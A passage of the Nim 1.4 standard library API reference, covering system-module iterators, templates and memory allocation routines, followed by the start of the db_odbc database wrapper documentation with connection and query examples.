[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L102) ``` iterator `..<`[T](a, b: T): T {...}{.inline.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L104) ``` iterator `..<`(a, b: int64): int64 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..<` for convenience so that mixing integer types works better. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L120) ``` iterator `..<`(a, b: int32): int32 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..<` for convenience so that mixing integer types works better. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L121) ``` iterator `..<`(a, b: uint64): uint64 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..<` for convenience so that mixing integer types works better. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L122) ``` iterator `..<`(a, b: uint32): uint32 {...}{.inline, raises: [], tags: [].} ``` A type specialized version of `..<` for convenience so that mixing integer types works better. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L123) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L123) ``` iterator `||`[S, T](a: S; b: T; annotation: static string = "parallel for"): T {...}{. inline, magic: "OmpParFor", sideEffect.} ``` OpenMP parallel loop iterator. Same as `..` but the loop may run in parallel. `annotation` is an additional annotation for the code generator to use. The default annotation is `parallel for`. Please refer to the [OpenMP Syntax Reference](https://www.openmp.org/wp-content/uploads/OpenMP-4.5-1115-CPP-web.pdf) for further information. Note that the compiler maps that to the `#pragma omp parallel for` construct of OpenMP and as such isn't aware of the parallelism in your code! Be careful! Later versions of `||` will get proper support by Nim's code generator and GC. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L181) ``` iterator `||`[S, T](a: S; b: T; step: Positive; annotation: static string = "parallel for"): T {...}{.inline, magic: "OmpParFor", sideEffect.} ``` OpenMP parallel loop iterator with stepping. Same as `countup` but the loop may run in parallel. `annotation` is an additional annotation for the code generator to use. The default annotation is `parallel for`. Please refer to the [OpenMP Syntax Reference](https://www.openmp.org/wp-content/uploads/OpenMP-4.5-1115-CPP-web.pdf) for further information. Note that the compiler maps that to the `#pragma omp parallel for` construct of OpenMP and as such isn't aware of the parallelism in your code! Be careful! Later versions of `||` will get proper support by Nim's code generator and GC. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators_1.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators_1.nim#L198) Macros ------ ``` macro varargsLen(x: varargs[untyped]): int ``` returns number of variadic arguments in `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2757) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2757) Templates --------- ``` template `!=`(x, y: untyped): untyped ``` Unequals operator. This is a shorthand for `not (x == y)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L130) ``` template `>=`(x, y: untyped): untyped ``` "is greater or equals" operator. This is the same as `y <= x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L134) ``` template `>`(x, y: untyped): untyped ``` "is greater" operator. This is the same as `y < x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L138) ``` template `>=%`(x, y: untyped): untyped ``` Treats `x` and `y` as unsigned and compares them. Returns true if `unsigned(x) >= unsigned(y)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L196) ``` template `>%`(x, y: untyped): untyped ``` Treats `x` and `y` as unsigned and compares them. Returns true if `unsigned(x) > unsigned(y)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L200) ``` template offsetOf[T; ](t: typedesc[T]; member: untyped): int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L606) ``` template offsetOf[T](value: T; member: untyped): int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L610) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L610) ``` template incl[T](x: var set[T]; y: set[T]) ``` Includes the set `y` in the set `x`. ``` var a = {1, 3, 5, 7} var b = {4, 5, 6} a.incl(b) # a <- {1, 3, 4, 5, 6, 7} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L11) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L11) ``` template excl[T](x: var set[T]; y: set[T]) ``` Excludes the set `y` from the set `x`. ``` var a = {1, 3, 5, 7} var b = {3, 4, 5} a.excl(b) # a <- {1, 7} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/setops.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/setops.nim#L29) ``` template `in`(x, y: untyped): untyped {...}{.dirty.} ``` Sugar for `contains`. ``` assert(1 in (1..3) == true) assert(5 in (1..3) == false) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L786) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L786) ``` template `notin`(x, y: untyped): untyped {...}{.dirty.} ``` Sugar for `not contains`. ``` assert(1 notin (1..3) == false) assert(5 notin (1..3) == true) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L792) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L792) ``` template `isnot`(x, y: untyped): untyped ``` Negated version of [is](#is,T,S). Equivalent to `not(x is y)`. ``` assert 42 isnot float assert @[1, 2] isnot enum ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L816) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L816) ``` template unown(x: typed): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L853) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L853) ``` template `<//>`(t: untyped): untyped ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L873) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L873) ``` template disarm(x: typed) ``` Useful for `disarming` dangling pointers explicitly for the | | | | --- | --- | | --newruntime. Regardless of whether --newruntime is used or not | | this sets the pointer or callback `x` to `nil`. This is an experimental API! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L875) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L875) ``` template dumpAllocstats(code: untyped) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L62) ``` template alloc(size: Natural): pointer ``` Allocates a new memory block with at least `size` bytes. The block has to be freed with [realloc(block, 0)](#realloc,pointer,Natural) or [dealloc(block)](#dealloc,pointer). The block is not initialized, so reading from it before writing to it is undefined behaviour! The allocated memory belongs to its allocating thread! Use [allocShared](#allocShared,Natural) to allocate from a shared heap. See also: * [alloc0](#alloc0,Natural) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L77) ``` template alloc0(size: Natural): pointer ``` Allocates a new memory block with at least `size` bytes. The block has to be freed with [realloc(block, 0)](#realloc,pointer,Natural) or [dealloc(block)](#dealloc,pointer). The block is initialized with all bytes containing zero, so it is somewhat safer than [alloc](#alloc,Natural). The allocated memory belongs to its allocating thread! Use [allocShared0](#allocShared0,Natural) to allocate from a shared heap. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L108) ``` template realloc(p: pointer; newSize: Natural): pointer ``` Grows or shrinks a given memory block. If `p` is **nil** then a new memory block is returned. In either way the block has at least `newSize` bytes. If `newSize == 0` and `p` is not **nil** `realloc` calls `dealloc(p)`. In other cases the block has to be freed with [dealloc(block)](#dealloc,pointer). The allocated memory belongs to its allocating thread! Use [reallocShared](#reallocShared,pointer,Natural) to reallocate from a shared heap. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L133) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L133) ``` template realloc0(p: pointer; oldSize, newSize: Natural): pointer ``` Grows or shrinks a given memory block. If `p` is **nil** then a new memory block is returned. In either way the block has at least `newSize` bytes. If `newSize == 0` and `p` is not **nil** `realloc` calls `dealloc(p)`. In other cases the block has to be freed with [dealloc(block)](#dealloc,pointer). The block is initialized with all bytes containing zero, so it is somewhat safer then realloc The allocated memory belongs to its allocating thread! Use [reallocShared](#reallocShared,pointer,Natural) to reallocate from a shared heap. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L147) ``` template allocShared(size: Natural): pointer ``` Allocates a new memory block on the shared heap with at least `size` bytes. The block has to be freed with [reallocShared(block, 0)](#reallocShared,pointer,Natural) or [deallocShared(block)](#deallocShared,pointer). The block is not initialized, so reading from it before writing to it is undefined behaviour! See also: [allocShared0](#allocShared0,Natural). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L191) ``` template allocShared0(size: Natural): pointer ``` Allocates a new memory block on the shared heap with at least `size` bytes. The block has to be freed with [reallocShared(block, 0)](#reallocShared,pointer,Natural) or [deallocShared(block)](#deallocShared,pointer). The block is initialized with all bytes containing zero, so it is somewhat safer than [allocShared](#allocShared,Natural). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L223) ``` template reallocShared(p: pointer; newSize: Natural): pointer ``` Grows or shrinks a given memory block on the heap. If `p` is **nil** then a new memory block is returned. In either way the block has at least `newSize` bytes. If `newSize == 0` and `p` is not **nil** `reallocShared` calls `deallocShared(p)`. In other cases the block has to be freed with [deallocShared](#deallocShared,pointer). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L250) ``` template reallocShared0(p: pointer; oldSize, newSize: Natural): pointer ``` Grows or shrinks a given memory block on the heap. When growing, the new bytes of the block is initialized with all bytes containing zero, so it is somewhat safer then reallocShared If `p` is **nil** then a new memory block is returned. In either way the block has at least `newSize` bytes. If `newSize == 0` and `p` is not **nil** `reallocShared` calls `deallocShared(p)`. In other cases the block has to be freed with [deallocShared](#deallocShared,pointer). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/memalloc.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/memalloc.nim#L261) ``` template newException(exceptn: typedesc; message: string; parentException: ref Exception = nil): untyped ``` Creates an exception object of type `exceptn` and sets its `msg` field to `message`. Returns the new exception object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2026) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2026) ``` template likely(val: bool): bool ``` Hints the optimizer that `val` is likely going to be true. You can use this template to decorate a branch condition. On certain platforms this can help the processor predict better which branch is going to be run. Example: ``` for value in inputValues: if likely(value <= 100): process(value) else: echo "Value too big!" ``` On backends without branch prediction (JS and the nimscript VM), this template will not affect code execution. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2065) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2065) ``` template unlikely(val: bool): bool ``` Hints the optimizer that `val` is likely going to be false. You can use this proc to decorate a branch condition. On certain platforms this can help the processor predict better which branch is going to be run. Example: ``` for value in inputValues: if unlikely(value > 100): echo "Value too big!" else: process(value) ``` On backends without branch prediction (JS and the nimscript VM), this template will not affect code execution. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2089) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2089) ``` template formatErrorIndexBound[T](i, a, b: T): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/indexerrors.nim#L3) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/indexerrors.nim#L3) ``` template formatErrorIndexBound[T](i, n: T): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/indexerrors.nim#L10) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/indexerrors.nim#L10) ``` template `^`(x: int): BackwardsIndex ``` Builtin roof operator that can be used for convenient array access. `a[^x]` is a shortcut for `a[a.len-x]`. ``` let a = [1, 3, 5, 7, 9] b = "abcdefgh" echo a[^1] # => 9 echo b[^2] # => g ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2455) ``` template `..^`(a, b: untyped): untyped ``` A shortcut for `.. ^` to avoid the common gotcha that a space between '..' and '^' is required. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2467) ``` template `..<`(a, b: untyped): untyped ``` A shortcut for `a .. pred(b)`. ``` for i in 5 ..< 9: echo i # => 5; 6; 7; 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2472) ``` template `[]`(s: string; i: int): char ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2498) ``` template `[]=`(s: string; i: int; val: char) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2499) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2499) ``` template `&=`(x, y: typed) ``` Generic 'sink' operator for Nim. For files an alias for `write`. If not specialized further, an alias for `add`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2688) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2688) ``` template currentSourcePath(): string ``` Returns the full file-system path of the current source. To get the directory containing the current source, use it with [os.parentDir()](os#parentDir%2Cstring) as `currentSourcePath.parentDir()`. The path returned by this template is set at compile time. See the docstring of [macros.getProjectPath()](macros#getProjectPath) for an example to see the distinction between the `currentSourcePath` and `getProjectPath`. See also: * [getCurrentDir proc](os#getCurrentDir) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2697) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2697) ``` template rangeCheck(cond) ``` Helper for performing user-defined range checks. Such checks will be performed only when the `rangechecks` compile-time option is enabled. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2713) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2713) ``` template closureScope(body: untyped): untyped ``` Useful when creating a closure in a loop to capture local loop variables by their current iteration values. Note: This template may not work in some cases, use [capture](sugar#capture.m,openArray%5Btyped%5D,untyped) instead. Example: ``` var myClosure : proc() # without closureScope: for i in 0 .. 5: let j = i if j == 3: myClosure = proc() = echo j myClosure() # outputs 5. `j` is changed after closure creation # with closureScope: for i in 0 .. 5: closureScope: # Everything in this scope is locked after closure creation let j = i if j == 3: myClosure = proc() = echo j myClosure() # outputs 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2958) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2958) ``` template once(body: untyped): untyped ``` Executes a block of code only once (the first time the block is reached). ``` proc draw(t: Triangle) = once: graphicsInit() line(t.p1, t.p2) line(t.p2, t.p3) line(t.p3, t.p1) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L2984) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L2984) Exports ------- [doAssertRaises](assertions#doAssertRaises.t,typedesc,untyped), [raiseAssert](assertions#raiseAssert,string), [failedAssertImpl](assertions#failedAssertImpl,string), [doAssert](assertions#doAssert.t,untyped,string), [assert](assertions#assert.t,untyped,string), [onFailedAssert](assertions#onFailedAssert.t,untyped,untyped), [items](iterators#items.i,string), [mpairs](iterators#mpairs.i,string), [items](iterators#items.i,typedesc%5B%5D), [fieldPairs](iterators#fieldPairs.i,S,T), [items](iterators#items.i,seq%5BT%5D), [pairs](iterators#pairs.i,array%5BIX,T%5D), [fieldPairs](iterators#fieldPairs.i,T), [mitems](iterators#mitems.i,openArray%5BT%5D), [fields](iterators#fields.i,T), [mpairs](iterators#mpairs.i,openArray%5BT%5D), [pairs](iterators#pairs.i,cstring), [mitems](iterators#mitems.i,array%5BIX,T%5D), [items](iterators#items.i,set%5BT%5D), [items](iterators#items.i,array%5BIX,T%5D), [fields](iterators#fields.i,S,T), [mitems](iterators#mitems.i,string), [items](iterators#items.i,openArray%5BT%5D), [mpairs](iterators#mpairs.i,cstring), [mpairs](iterators#mpairs.i,array%5BIX,T%5D), [items](iterators#items.i,cstring), [mpairs](iterators#mpairs.i,seq%5BT%5D), [pairs](iterators#pairs.i,seq%5BT%5D), [pairs](iterators#pairs.i,openArray%5BT%5D), [items](iterators#items.i,HSlice%5BT,T%5D), [mitems](iterators#mitems.i,seq%5BT%5D), [items](iterators#items.i,openArray%5BT%5D_2), [pairs](iterators#pairs.i,string), [mitems](iterators#mitems.i,cstring), [$](dollars#%24,int), [$](dollars#%24,cstring), [$](dollars#%24,array%5BIDX,T%5D), [$](dollars#%24,seq%5BT%5D), [$](dollars#%24,char), [$](dollars#%24,int64), [$](dollars#%24,Enum), [$](dollars#%24,openArray%5BT%5D), [$](dollars#%24,set%5BT%5D), [$](dollars#%24,T), [$](dollars#%24,bool), [$](dollars#%24,typedesc), [$](dollars#%24,HSlice%5BT,U%5D), [$](dollars#%24,string), [$](dollars#%24,uint64), [$](dollars#%24,float), [len](widestrs#len,WideCString), [$](widestrs#%24,WideCString,int,int), [newWideCString](widestrs#newWideCString,cstring,int), [Utf16Char](widestrs#Utf16Char), [WideCStringObj](widestrs#WideCStringObj), [$](widestrs#%24,WideCString), [newWideCString](widestrs#newWideCString,string), [WideCString](widestrs#WideCString), [newWideCString](widestrs#newWideCString,cstring), [writeFile](io#writeFile,string,string), [write](io#write,File,BiggestFloat), [File](io#File), [write](io#write,File,float32), [writeChars](io#writeChars,File,openArray%5Bchar%5D,Natural,Natural), [endOfFile](io#endOfFile,File), [getFilePos](io#getFilePos,File), [readChars](io#readChars,File,openArray%5Bchar%5D,Natural,Natural), [readLines](io#readLines,string,Natural), [write](io#write,File,cstring), [readLine](io#readLine,File,TaintedString), [open](io#open,File,string,FileMode,int), [reopen](io#reopen,File,string,FileMode), [readChar](io#readChar,File), [writeBuffer](io#writeBuffer,File,pointer,Natural), [stdmsg](io#stdmsg.t), [getFileHandle](io#getFileHandle,File), [close](io#close,File), [write](io#write,File,char), [getOsFileHandle](io#getOsFileHandle,File), [readFile](io#readFile,string), [setFilePos](io#setFilePos,File,int64,FileSeekPos), [write](io#write,File,int), [setStdIoUnbuffered](io#setStdIoUnbuffered), [writeFile](io#writeFile,string,openArray%5Bbyte%5D), [lines](io#lines.i,File), [stdout](io#stdout), [readLines](io#readLines.t,string), [getFileSize](io#getFileSize,File), [FileHandle](io#FileHandle), [write](io#write,File,BiggestInt), [write](io#write,File,string), [readBytes](io#readBytes,File,openArray%5B%5D,Natural,Natural), [writeLine](io#writeLine,File,varargs%5BTy,%5D), [write](io#write,File,bool), [setInheritable](io#setInheritable,FileHandle,bool), [readLine](io#readLine,File), [open](io#open,File,FileHandle,FileMode), [flushFile](io#flushFile,File), [readAll](io#readAll,File), [FileMode](io#FileMode), [write](io#write,File,varargs%5Bstring,%5D), [readBuffer](io#readBuffer,File,pointer,Natural), [stderr](io#stderr), [stdin](io#stdin), [open](io#open,string,FileMode,int), [writeBytes](io#writeBytes,File,openArray%5B%5D,Natural,Natural), [lines](io#lines.i,string)
programming_docs
nim db_odbc db\_odbc ======== A higher level `ODBC` database wrapper. This is the same interface that is implemented for other databases. This has NOT yet been (extensively) tested against ODBC drivers for Teradata, Oracle, Sybase, MSSqlvSvr, et. al. databases. Currently all queries are ANSI calls, not Unicode. See also: <db_postgres>, <db_sqlite>, <db_mysql>. Parameter substitution ---------------------- All `db_*` modules support the same form of parameter substitution. That is, using the `?` (question mark) to signify the place where a value should be placed. For example: ``` sql"INSERT INTO myTable (colA, colB, colC) VALUES (?, ?, ?)" ``` Examples -------- ### Opening a connection to a database ``` import db_odbc var db = open("localhost", "user", "password", "dbname") db.close() ``` ### Creating a table ``` db.exec(sql"DROP TABLE IF EXISTS myTable") db.exec(sql("""CREATE TABLE myTable ( id integer, name varchar(50) not null)""")) ``` ### Inserting data ``` db.exec(sql"INSERT INTO myTable (id, name) VALUES (0, ?)", "Andreas") ``` ### Large example ``` import db_odbc, math var theDb = open("localhost", "nim", "nim", "test") theDb.exec(sql"Drop table if exists myTestTbl") theDb.exec(sql("create table myTestTbl (" & " Id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, " & " Name VARCHAR(50) NOT NULL, " & " i INT(11), " & " f DECIMAL(18,10))")) theDb.exec(sql"START TRANSACTION") for i in 1..1000: theDb.exec(sql"INSERT INTO myTestTbl (name,i,f) VALUES (?,?,?)", "Item#" & $i, i, sqrt(i.float)) theDb.exec(sql"COMMIT") for x in theDb.fastRows(sql"select * from myTestTbl"): echo x let id = theDb.tryInsertId(sql"INSERT INTO myTestTbl (name,i,f) VALUES (?,?,?)", "Item#1001", 1001, sqrt(1001.0)) echo "Inserted item: ", theDb.getValue(sql"SELECT name FROM myTestTbl WHERE id=?", id) theDb.close() ``` Imports ------- <strutils>, <odbcsql>, <db_common>, <since> Types ----- ``` DbConn = OdbcConnTyp ``` encapsulates a database connection [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L99) ``` Row = seq[string] ``` a row of a dataset. NULL database values will be converted to nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L100) ``` InstantRow = tuple[row: seq[string], len: int] ``` a handle that can be used to get a row's column text on demand [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L102) Procs ----- ``` proc dbError(db: var DbConn) {...}{.tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Raises an `[DbError]` exception with ODBC error information [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L138) ``` proc dbQuote(s: string): string {...}{.noSideEffect, raises: [], tags: [].} ``` DB quotes the string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L188) ``` proc tryExec(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` Tries to execute the query and returns true if successful, false otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L239) ``` proc exec(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]) {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Executes the query and raises EDB if not successful. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L258) ``` proc `[]`(row: InstantRow; col: int): string {...}{.inline, raises: [], tags: [].} ``` Returns text for given column of the row [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L331) ``` proc unsafeColumnAt(row: InstantRow; index: int): cstring {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L335) ``` proc len(row: InstantRow): int {...}{.inline, raises: [], tags: [].} ``` Returns number of columns in the row [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L339) ``` proc getRow(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Retrieves a single row. If the query doesn't return any rows, this proc will return a Row with empty strings for each column. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L343) ``` proc getAllRows(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): seq[ Row] {...}{.tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Executes the query and returns the whole result dataset. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L370) ``` proc getValue(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): string {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` Executes the query and returns the first column of the first row of the result dataset. Returns "" if the dataset contains no rows or the database value is NULL. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L409) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L409) ``` proc tryInsertId(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` Executes the query (typically "INSERT") and returns the generated ID for the row or -1 in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L420) ``` proc insertId(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Executes the query (typically "INSERT") and returns the generated ID for the row. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L444) ``` proc tryInsert(db: var DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` same as tryInsertID [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L452) ``` proc insert(db: var DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` same as insertId [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L458) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L458) ``` proc execAffectedRows(db: var DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Runs the query (typically "UPDATE") and returns the number of affected rows [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L465) ``` proc close(db: var DbConn) {...}{.tags: [WriteDbEffect], raises: [].} ``` Closes the database connection. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_odbc.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_odbc.nim#L480) ``` proc open(connection, user, password, database: string): DbConn {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` Opens a database connection. Raises `EDb` if the connection could not 